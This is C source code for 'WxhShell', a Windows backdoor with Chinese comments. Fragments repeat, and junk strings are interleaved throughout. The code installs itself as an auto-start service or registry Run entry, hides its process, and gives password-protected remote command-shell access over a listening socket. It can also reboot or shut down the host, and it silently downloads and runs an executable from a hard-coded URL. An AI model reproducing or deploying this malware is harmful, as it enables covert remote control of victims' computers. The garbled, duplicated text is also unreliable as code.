=U!'v X d HANDLE hProcess; zF.rsNY PROCESS_BASIC_INFORMATION pbi; Miqu FD*`$.e3\ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \i}n1Qd if(NULL == hInst ) return 0; {bl&r?[y xaX3<V@S g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #tKc!]m g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tfvX0J NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `#A&v +,9I3Dq if (!NtQueryInformationProcess) return 0; o8BbSZVu Lg[*P8wE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <w(UDZ if(!hProcess) return 0; uI@:\Rss NQ !t ` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6*gMG3 :Sk0?WU CloseHandle(hProcess); `+1+0?9 Pon 2!$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u^|XQWR$: if(hProcess==NULL) return 0; q-eC=!#} a9mLPP HMODULE hMod; "'p:M,: char procName[255]; Kjc"K36{L unsigned long cbNeeded; JGX E{FT $SRpFz5y$ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <s2IC_f<+ }RYr) CloseHandle(hProcess); z 3fS+x:E{ {*ATY+ if(strstr(procName,"services")) return 1; // 以服务启动 Ovv~ymj 6A;V[3 return 0; // 注册表启动 HhhN8t } S=~[ 6;G WW\u}z.QJ // 主模块 SGre[+m~m int StartWxhshell(LPSTR lpCmdLine) 3ox%1x NA { 21bvSK SOCKET wsl; .C$S
DhJ~ BOOL val=TRUE; 0=# :x()e int port=0; Xa=oryDt struct sockaddr_in door; _?M34&.X %/"I.\%d
if(wscfg.ws_autoins) Install(); q,F\8M\$ ST5L
O#5 port=atoi(lpCmdLine); Hdw;=]- I'HPy.PV if(port<=0) port=wscfg.ws_port; $~!%Px) E^rKS&P WSADATA data; Q[ kbEhv; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bGOOC?[UX Gole7I if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dKTyh:_{ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K'%2 'd door.sin_family = AF_INET; y<0zAsT door.sin_addr.s_addr = inet_addr("127.0.0.1"); =5/ow!u8 door.sin_port = htons(port); {^=T&aCYdS 3}(6z"r if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jj_z#6{ closesocket(wsl); ]$Pl[Vegy return 1; S[J eW } 45. -P `-fWNHs if(listen(wsl,2) == INVALID_SOCKET) { r+n0M';0 closesocket(wsl); ?g^42IYG return 1; _HF66)X7 } $9+|_[ ]v. Wxhshell(wsl); i)y8MlC{ WSACleanup(); U;`C%vHff hb#Nm6 return 0; g%Bh-O9\ })W9=xO~ } Rd'P\ 60,z! Vv // 以NT服务方式启动 h ` qlI1] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q2yD4>qy { m%m<-.'- DWORD status = 0; ,1/O2aQ%\0 DWORD specificError = 0xfffffff; ~MWI-oK pHQrjEF* serviceStatus.dwServiceType = SERVICE_WIN32; fwQVx Je serviceStatus.dwCurrentState = SERVICE_START_PENDING; V %h,JA serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J,4,#2M8 serviceStatus.dwWin32ExitCode = 0; m%zo? e serviceStatus.dwServiceSpecificExitCode = 0; 5~D(jHY; serviceStatus.dwCheckPoint = 0; /]j^a:#"6t serviceStatus.dwWaitHint = 0; (P!r^87 qm^|7m^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /tm2b<G if (hServiceStatusHandle==0) return; YI+ clh;%9 @k=UB&?I status = GetLastError(); #($~e| if (status!=NO_ERROR) aVB/CoM9 { ;~D$rT serviceStatus.dwCurrentState = SERVICE_STOPPED; Z8C~o)n9 serviceStatus.dwCheckPoint = 0; )<Fq}Q86 serviceStatus.dwWaitHint = 0; n%|og^\0 serviceStatus.dwWin32ExitCode = status; :HW| mqKd serviceStatus.dwServiceSpecificExitCode = specificError; [Ef6@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); K|pg'VT" return; 9?X8H1 } a\m_Q{: 6VUs:iO1j5 serviceStatus.dwCurrentState = SERVICE_RUNNING; 1aI&jdJk serviceStatus.dwCheckPoint = 0; 8Y4mTW serviceStatus.dwWaitHint = 0; b5Q|$E if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kEgpF{"%n } ?(Se$iTZ 0=0,ix7?# // 处理NT服务事件,比如:启动、停止 BLN|QaZ VOID WINAPI NTServiceHandler(DWORD fdwControl) D@2L<!\ { ]d67 HOyK switch(fdwControl) ]p8zT|bv { InI>So%e|< case SERVICE_CONTROL_STOP: ">._&8KkE0 serviceStatus.dwWin32ExitCode = 0; lZAXDxhnT serviceStatus.dwCurrentState = SERVICE_STOPPED; jme`Tyd serviceStatus.dwCheckPoint = 0; 1:JwqbZKJ serviceStatus.dwWaitHint = 0; {xAd>fGG+y { l`uI K. SetServiceStatus(hServiceStatusHandle, &serviceStatus); e2e!"kEF } 5JHWt<n{P return; Ptz##o'{5 case SERVICE_CONTROL_PAUSE: PYBE?td serviceStatus.dwCurrentState = SERVICE_PAUSED; He,,bq break; N4#D&5I", case SERVICE_CONTROL_CONTINUE: U9ZuD40\ serviceStatus.dwCurrentState = SERVICE_RUNNING; ~-<MoCm! break; ollsB3]] case SERVICE_CONTROL_INTERROGATE: uNkJe break; 'hE'h?-7 }; u^G Y7gah SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q 0G5<:wc } hq&| =z;]FauR! // 标准应用程序主函数 pdB\D int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j+fib} 8} { -)Bvx>8fq- w3ATsIw // 获取操作系统版本 ZNne 8 OsIsNt=GetOsVer(); (i L*1f GetModuleFileName(NULL,ExeFile,MAX_PATH); m}u)C&2> p^|6 /b // 从命令行安装 GGnlkp& E if(strpbrk(lpCmdLine,"iI")) Install(); ?2l`%l5( Pz34a@%" // 下载执行文件 L2+cVR if(wscfg.ws_downexe) { d#TA20` if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !ej]'>V,X WinExec(wscfg.ws_filenam,SW_HIDE); S2DG=hi`GK } J$sBfOD m";..V if(!OsIsNt) { B2oKvgw // 如果时win9x,隐藏进程并且设置为注册表启动 4e/!BGkAS HideProc(); YGC%j StartWxhshell(lpCmdLine); R)BXN~dQ } d|oO2yzWv else h}!9?:E if(StartFromService()) 9@ YKx0 // 以服务方式启动 Pw| h`[h StartServiceCtrlDispatcher(DispatchTable); 0Dna+V/jI else #GLW3} // 普通方式启动 FLs$ StartWxhshell(lpCmdLine); %s"&|32 (w#t V* return 0; S\h5
D2G; } JLnv O vue^bn k'PvTWR ?WHf%Ie2( =========================================== C<AW)|r_ @`dg:P*[ BaW4 s4u 6IG?t A
$gn{ c Nwz?*~1 " \OA{&G. *9"x0bth #include <stdio.h> t$z[ja= #include <string.h> gr*CN< #include <windows.h> 7Vsp<s9bj #include <winsock2.h> m<hP"j #include <winsvc.h> ^APtV6g #include <urlmon.h> @2/|rq [K.1 X=O} #pragma comment (lib, "Ws2_32.lib") :${tts2g #pragma comment (lib, "urlmon.lib") `,-mXxTNT WN+i 3hC #define MAX_USER 100 // 最大客户端连接数 +q}t%K5 #define BUF_SOCK 200 // sock buffer /7 Tm2Vj8 #define KEY_BUFF 255 // 输入 buffer uy's eJ bu|.Jw" #define REBOOT 0 // 重启 Ha `N #define SHUTDOWN 1 // 关机 yl~_~<s6 ^
*"f C #define DEF_PORT 5000 // 监听端口 iyl
i/3| +T$Olz #define REG_LEN 16 // 注册表键长度 tO8\} u4c #define SVC_LEN 80 // NT服务名长度 Dz: +.
@k uqC#h,~
0 // 从dll定义API FKTF?4+\U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `y3'v] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KOS0Du typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A/>Q5) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x 3=1/#9 Nnl3r@ // wxhshell配置信息 W5
F\e[Ax5 struct WSCFG { >#|%'Us int ws_port; // 监听端口 Or5?Gt char ws_passstr[REG_LEN]; // 口令 y4Jc|) int ws_autoins; // 安装标记, 1=yes 0=no D=-}&w_T" char ws_regname[REG_LEN]; // 注册表键名 [i` char ws_svcname[REG_LEN]; // 服务名 V.P<>~W char ws_svcdisp[SVC_LEN]; // 服务显示名 f1MRmp-f' char ws_svcdesc[SVC_LEN]; // 服务描述信息 X
."z+-eh char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F3}MM
dX int ws_downexe; // 下载执行标记, 1=yes 0=no v_!6S|
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eBrNhE-[G] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 = {O ~ ep"[;$Eb }; Sf*)Z3f y&zFS4"x // default Wxhshell configuration i)o;,~ee struct WSCFG wscfg={DEF_PORT, _6NUtU "xuhuanlingzhe", W%!(kN&d 1, a;HAuy`M x "Wxhshell", xm{]|~^JG "Wxhshell", %bDxvaftT "WxhShell Service", Cs6`lX > "Wrsky Windows CmdShell Service", e xb}
y "Please Input Your Password: ", /MF
7ZvN. 1, UCLM*`M "http://www.wrsky.com/wxhshell.exe", q-JTGCFl "Wxhshell.exe" &kg^g%% }; $D^\[^S |p6d]#z3 // 消息定义模块 : ,l7e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U**8^:*y#: char *msg_ws_prompt="\n\r? for help\n\r#>"; Bu{Kjv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2LwJ%! char *msg_ws_ext="\n\rExit.";
-tg|y char *msg_ws_end="\n\rQuit."; (;l@d|g char *msg_ws_boot="\n\rReboot..."; %Rk|B`ST char *msg_ws_poff="\n\rShutdown..."; ]RCo@QW char *msg_ws_down="\n\rSave to "; o1.~g'!^ UM7@c7B? char *msg_ws_err="\n\rErr!"; 4\;zz85E char *msg_ws_ok="\n\rOK!"; Mn0.!J
" U#3N90,N= char ExeFile[MAX_PATH]; L/8oqO| int nUser = 0; / Q1*Vh4 HANDLE handles[MAX_USER]; fkxkf^g) int OsIsNt; cJo%j -AM aCG rS{ SERVICE_STATUS serviceStatus; ?:;;0kSk SERVICE_STATUS_HANDLE hServiceStatusHandle; LDlYLsF9 P<]U // 函数声明 N*Aw-\Bk int Install(void); A,~3oQV int Uninstall(void); cgb>Naa< int DownloadFile(char *sURL, SOCKET wsh); ';I}6N int Boot(int flag); 51k}LH void HideProc(void); ._}}@V_/ int GetOsVer(void); .(@=L1C<}J int Wxhshell(SOCKET wsl); KdEvu? void TalkWithClient(void *cs); qezWfR` int CmdShell(SOCKET sock); ,>j3zjf^ int StartFromService(void);
t ed:] int StartWxhshell(LPSTR lpCmdLine); uMcI'= 2/?Zp=|j\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iXWHI3
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lx`?n<-X J}V4.R5d // 数据结构和表定义 @@Q4{o SERVICE_TABLE_ENTRY DispatchTable[] = 4:V
+>Jt { UFB|IeX?q {wscfg.ws_svcname, NTServiceMain}, ;As~TGiT {NULL, NULL} n_QuuUB }; %KyZ15_(-L (qAF2& // 自我安装 <-`bWz=+ int Install(void) 392V\qtS { s\ *p|vc char svExeFile[MAX_PATH]; ) 57'< HKEY key; 4!!|P strcpy(svExeFile,ExeFile);
eXl?f_9 !.R-|<2|6 // 如果是win9x系统,修改注册表设为自启动 @[^ 3yC# if(!OsIsNt) { ^A ]4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OS[
s Qo5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 30h[&Oc RegCloseKey(key); !WyJ@pFU^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \9+,ynJH8z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (u?s@/e:`/ RegCloseKey(key); +:Zwo+\kSN return 0; gc4o
|x } |]kiH^Ap } ~D5
-G?%$" } L`t786
(M else { Dk\%,[4( ?"b __(3 // 如果是NT以上系统,安装为系统服务 2[w9#6ly SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m]DP{-s4 if (schSCManager!=0) q;SD+%tI { mLq0;uGL| SC_HANDLE schService = CreateService +9HU&gQ3 ( uNf'Zeo schSCManager, l"8g9z wscfg.ws_svcname, puOMtCI wscfg.ws_svcdisp, ^ iu)vED SERVICE_ALL_ACCESS, *42KLns SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wW TuEM SERVICE_AUTO_START, #mH28UT SERVICE_ERROR_NORMAL, WDNj7 svExeFile, B)k/]vz)*D NULL, GUQ3XF\ NULL, 0o/;cBH
NULL, [?z;'O}y NULL, `@Z$+ NULL #W:.Fsq ); NiG&Lw*8 if (schService!=0) ",YNphjAn { qA}l[:F+# CloseServiceHandle(schService); PR;Bxy CloseServiceHandle(schSCManager); ^C,rN;mX' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %4VM"C4[ strcat(svExeFile,wscfg.ws_svcname); "P5,p"k:) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ; <- f RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E:}s6l RegCloseKey(key); :|l0x a return 0; FkaQVT } xqT} 9, } e23& d CloseServiceHandle(schSCManager); *`s*l+0b } $1X!Ecq_ } Y}vV.q i39_( )X return 1; B_!S\?}$ } ;{m;CKHI mv<cyWp // 自我卸载 QIwO _[Q int Uninstall(void) ~HctXe' x { Vl7V?`_4 HKEY key; $SLyI$<gP Y(JZP\Tf_N if(!OsIsNt) { %*L8W*V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r*7J#M / RegDeleteValue(key,wscfg.ws_regname); P@etT8| V RegCloseKey(key); b^Do[o}5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 787i4h:71 RegDeleteValue(key,wscfg.ws_regname); uL-$^], RegCloseKey(key); S{cK~sZj return 0; OoOwEV2p_ } Ob'[W;p)[w } ?AQR\) P } ,=6;dT else { 6%VRQ#g! `)jAdad-s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yX\~{% if (schSCManager!=0) >+BLD { n%dh|j2u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P; =,Q$e8 if (schService!=0) Yu%ZwTvw { Oi!uJofW if(DeleteService(schService)!=0) { _t7aOH CloseServiceHandle(schService); ]T<RC\o CloseServiceHandle(schSCManager); X{5(i3?S return 0; oFJx8XU } p6{8t} CloseServiceHandle(schService); dqL)q 3 } LZpqv~av CloseServiceHandle(schSCManager); }!vJ+ } ma2-66M~j } |P=-m-W 1`&"U[{ return 1; cr{f*U6` } vB/G#\Zqz \ N]2V(v // 从指定url下载文件 .ktyA+r8v int DownloadFile(char *sURL, SOCKET wsh) [%6"UH
r { "\Nn,3qp HRESULT hr; :'gX//b): char seps[]= "/"; (^Hpe5h& char *token; K<w$ char *file; 4}HY= 0Um char myURL[MAX_PATH]; "f`{4p0v char myFILE[MAX_PATH]; arj?U=zy 4T:@W C strcpy(myURL,sURL); ^5*9BwH` token=strtok(myURL,seps); K@@[N17/8 while(token!=NULL) vZt48g
{ b\Gw|?Rv file=token; eB*0}) token=strtok(NULL,seps); ;bt%TxuKb } =ET |h}I jG&gd<^ GetCurrentDirectory(MAX_PATH,myFILE); gflu!C6 strcat(myFILE, "\\"); *5|q_K
Pt strcat(myFILE, file); ).1F0T send(wsh,myFILE,strlen(myFILE),0); p!3!&{ send(wsh,"...",3,0); \B~}s } hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5QUL-*t if(hr==S_OK) a@V`EEZ return 0; #Rcb
iV*M else wLz@u$u? return 1; )> |x 2q E#m|Sq } $UGX vCR E;AOCbV*$ // 系统电源模块 _B5vh(. int Boot(int flag) s xp>9& { v46 5Z HANDLE hToken; Wc
qUF"A TOKEN_PRIVILEGES tkp; (^).$g5Hg $@(+"
$ if(OsIsNt) { V*w~Sr% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E2~&GkU.UN LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {
vOr'j@ tkp.PrivilegeCount = 1; I8:A] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {gwJ>]z"e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y(3X5v?[ if(flag==REBOOT) { HSsG0&'-Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I=G-(L/& return 0; R+y 9JE } ~SN * else { AeN$AqQd/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Oq3]ZUVa return 0; :@8N${7`$A } dF<GuS;l5 } mxfmK +'_ else { $\A=J if(flag==REBOOT) { ]d]rV
`RF if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -)LiL return 0; Ods/1 KW } 1r LK1X else { E6Uiw]3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E6zSMl5b return 0; ev"f@y9Do } o!-kwtw`l } &;wNJ)Uc 8.m9 =+)8 return 1; {\62c;. } }@H(z 'BOMFp7c // win9x进程隐藏模块 @&xWd{8' void HideProc(void) \\UOpl { x>TIQU=\ D@
4sq^|2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qb1JE[2F if ( hKernel != NULL ) b[s=FH]#N { JKy06I pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k(23Zt] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cy
@",z FreeLibrary(hKernel); I92orr1 } 3s
B9t X fIwG9cR return; (R|Ftjs . } H05xt$J M>_
U9g // 获取操作系统版本 8qF OO3c\V int GetOsVer(void) 'M!* Ge { 3EO:Uk5< OSVERSIONINFO winfo; c>.=;'2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T6M=BkcP GetVersionEx(&winfo); ~A$y-Dt'
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |$+
xVi8 return 1; :xy4JRcF else ~U$ioQy< return 0; =s/UF _JN } h"ZR`?h uG,*m'x'] // 客户端句柄模块 Cr>YpWm int Wxhshell(SOCKET wsl) @aY>pr5! { ;%B:1Z SOCKET wsh; q>f|1Pf struct sockaddr_in client; b;jr;I DWORD myID; &<oJw TC V_"UiN"o while(nUser<MAX_USER) v4Mn@e_#c { !(nFq9~~Q int nSize=sizeof(client); B:rzM:BQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5-2#H?:U if(wsh==INVALID_SOCKET) return 1; |{ TVW CXd/M~:! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); , .]1N:
if(handles[nUser]==0) 4RL0@)0F closesocket(wsh); |* v w( else iTcq= nUser++; Mem1X rBH } |f{(MMlj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8Os: SC@Q d:3OC& return 0; y#v<V1b] } E'+?7ZGWj J. $U_k // 关闭 socket cH6<'W{* void CloseIt(SOCKET wsh) +nz0ZQ9 a { p-f"4vH closesocket(wsh); 1w} DfI nUser--; ]US ExitThread(0); s6(bTO. } k] iyx LXS)(-& // 客户端请求句柄 jg\FD51$ void TalkWithClient(void *cs) dM)x|b3z { ycj\5+g )NmYgd~% SOCKET wsh=(SOCKET)cs; :CGh$d] + char pwd[SVC_LEN]; =-E%vnU char cmd[KEY_BUFF]; ]S7>=S char chr[1]; <%"o-xZq7C int i,j; su0q 2. ukc<yc].+? while (nUser < MAX_USER) { w`X0^<Fv P2g}G4qf if(wscfg.ws_passstr) { Aa}Nr5{O| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a\*_b2 ^n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a St:G*a" //ZeroMemory(pwd,KEY_BUFF); C`["4 i=0; g_;4@jwTP" while(i<SVC_LEN) { TpRI+*\ p-kug]qX // 设置超时 e/R$Sfj] fd_set FdRead; mWTV)z57 struct timeval TimeOut; Kb~i9x& FD_ZERO(&FdRead); &Ivf!Bgm{Z FD_SET(wsh,&FdRead); ->)0jZax TimeOut.tv_sec=8; cv"Bhql TimeOut.tv_usec=0; ?wpl
88z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'J8Ga<s7C if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -\~HAnh ?/}-&A" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $fAZ^ pwd=chr[0]; A`nzqe#(1 if(chr[0]==0xd || chr[0]==0xa) { {r?+PQQ# pwd=0; #Q/xQ`+|. break; <lP5}F87 } t/J|<Ooj? i++; .o) }
j>A=Wa7 q.ZkQN+ // 如果是非法用户,关闭 socket B8>3GZi if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4VP$,|a } 4^7*R #{5h6IC send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~\u~>mtchu send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #:8V<rc^ tN0? while(1) { "c*#ZP %afz{a5 ZeroMemory(cmd,KEY_BUFF); "ZP)[ [Rd
!SThK8j$7 // 自动支持客户端 telnet标准 H8h,JBg5<F j=0; eA-$TSWh while(j<KEY_BUFF) { LfMN 'Cb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j`QXl cmd[j]=chr[0]; { {+:Vy if(chr[0]==0xa || chr[0]==0xd) { TNlS2b1 cmd[j]=0; &H/3@A3 break; G$t:#2 } -SF50.[ j++; 6\RZ[gA? } =xr2-K)e @6VkNe9 // 下载文件 u_.Ig|Va if(strstr(cmd,"http://")) { H={5>;8G send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0}-MWbG if(DownloadFile(cmd,wsh)) RY]jY | E send(wsh,msg_ws_err,strlen(msg_ws_err),0); qU^`fIa else ' pfkbmJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4YA1~7R } mV|Z5 =f else { ~Hvf"bvK| K QCF " switch(cmd[0]) { &X)^G# <AB({( // 帮助 5
~Y a Xh^ case '?': { @!B%ynrG send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h%] D[g break; BrsBB"<o,
} g3c,x kaO // 安装 Z@bKYfGM case 'i': { `86})xz{ if(Install()) wj\kx\+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); \;0UP+ else }T"&4Rvs2R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %)=c#H1 break; >(Fy6m } V-lp';bD // 卸载 Mc6v case 'r': { h!
wd/jR if(Uninstall()) WB\chb%ej# send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^"+Vx9H"{ else {
P @mAw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8:k-]+#o break; ?{r -z3@ N } P"r7m // 显示 wxhshell 所在路径 +krDmU9( case 'p': { [ N0"mE< char svExeFile[MAX_PATH]; (4IH%Ez){ strcpy(svExeFile,"\n\r"); R@2*Lgxz~ strcat(svExeFile,ExeFile); P=.T|l1 send(wsh,svExeFile,strlen(svExeFile),0); ^TAf+C^Ry break; gqDSHFm: } ZQ[ s/ // 重启 /H*n(d case 'b': { '19kP. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jUB`=d| if(Boot(REBOOT)) .:iO$wjp5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); .<Jq8J else { U)D}J_Zi( closesocket(wsh); +,J!xy+~, ExitThread(0); 9%DLdc\z; } &W
N
R{ break; ]Mj N)%hT } URMxCL^" // 关机 >uJU25)| case 'd': { eMUsw5= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RIq\IQ_| if(Boot(SHUTDOWN)) MG4(,"c! send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6eW9+5oL else { Z"E2ZSa0 closesocket(wsh); c@{M),C~E ExitThread(0); IaGF{O3. } =HHb ]JE break; }XfRKGQw } Fr1OzS^&( // 获取shell gk4DoO j#P case 's': { .}3K9.hkr CmdShell(wsh); z/|tsVK closesocket(wsh); >C -N0H ExitThread(0); R?}<CjI break; yi,Xs|%. } bqRO-\vO // 退出 '|nAGkA case 'x': { K4^mG send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aV G4Df CloseIt(wsh); @WP%kX.? break; 5/i]Jni } fU'[lZ // 离开 B)s%B' case 'q': { :{~TG]4M send(wsh,msg_ws_end,strlen(msg_ws_end),0); <ugy-vSv closesocket(wsh); tFX!s;N[ WSACleanup(); WP4"$W exit(1);
7?2<W-n break; d2*uY., } >C/O >g } K(Ak+&[ } W"1=K]B VevDW }4q* // 提示信息 nh>lDfJV< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "PC9[i } k9iB-=X?4s } }Pj;9ivz &Tk@2<5= return; @!%HEs!# # } h
F *c A'T: \Wl // shell模块句柄 en29<#8TO int CmdShell(SOCKET sock) ?$%2\"wX~7 { ~s>Ud<l%r STARTUPINFO si; _+.
)8
ZeroMemory(&si,sizeof(si)); J;Veza si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DTCOhUIV si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m]/sR3yF PROCESS_INFORMATION ProcessInfo; =xM:8
hm char cmdline[]="cmd"; vp`s< ;CA CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YI),yj return 0; ihopQb+k^m } D@yu2}F{IY YbuS[l8 // 自身启动模式 F^X:5g~K
int StartFromService(void) &U
yQ<O> { I5w>*F typedef struct <@+{EK'`q {
~ P!%i9e_ DWORD ExitStatus; 8Xz \,}$O DWORD PebBaseAddress;
|:5[` DWORD AffinityMask; 1D)=q^\I DWORD BasePriority; ?Z"<&tsZ ULONG UniqueProcessId; X!f` !tZ:{ ULONG InheritedFromUniqueProcessId; 9oxn-)6JC } PROCESS_BASIC_INFORMATION; qp2&Z8S\D pFwhvw PROCNTQSIP NtQueryInformationProcess; CF/8d6}Vf z460a[Wl static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kTm>`.kKJ= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zl@hg<n <CGJ:% AY HANDLE hProcess; 3zo:)N \K PROCESS_BASIC_INFORMATION pbi; F'^?s= QX YUQKy2 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wU/BRz8I if(NULL == hInst ) return 0; =\i{dj 4i(?5p>f g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YCo qe,5 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }Z8DVTpX} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GA2kg7 YY
8vhnw if (!NtQueryInformationProcess) return 0; OsNJ;B %lS jC%Z'd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S/x CX! if(!hProcess) return 0; Mt%=z9OLq9 lAo S 9w if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ++Fk8R/$U[ i
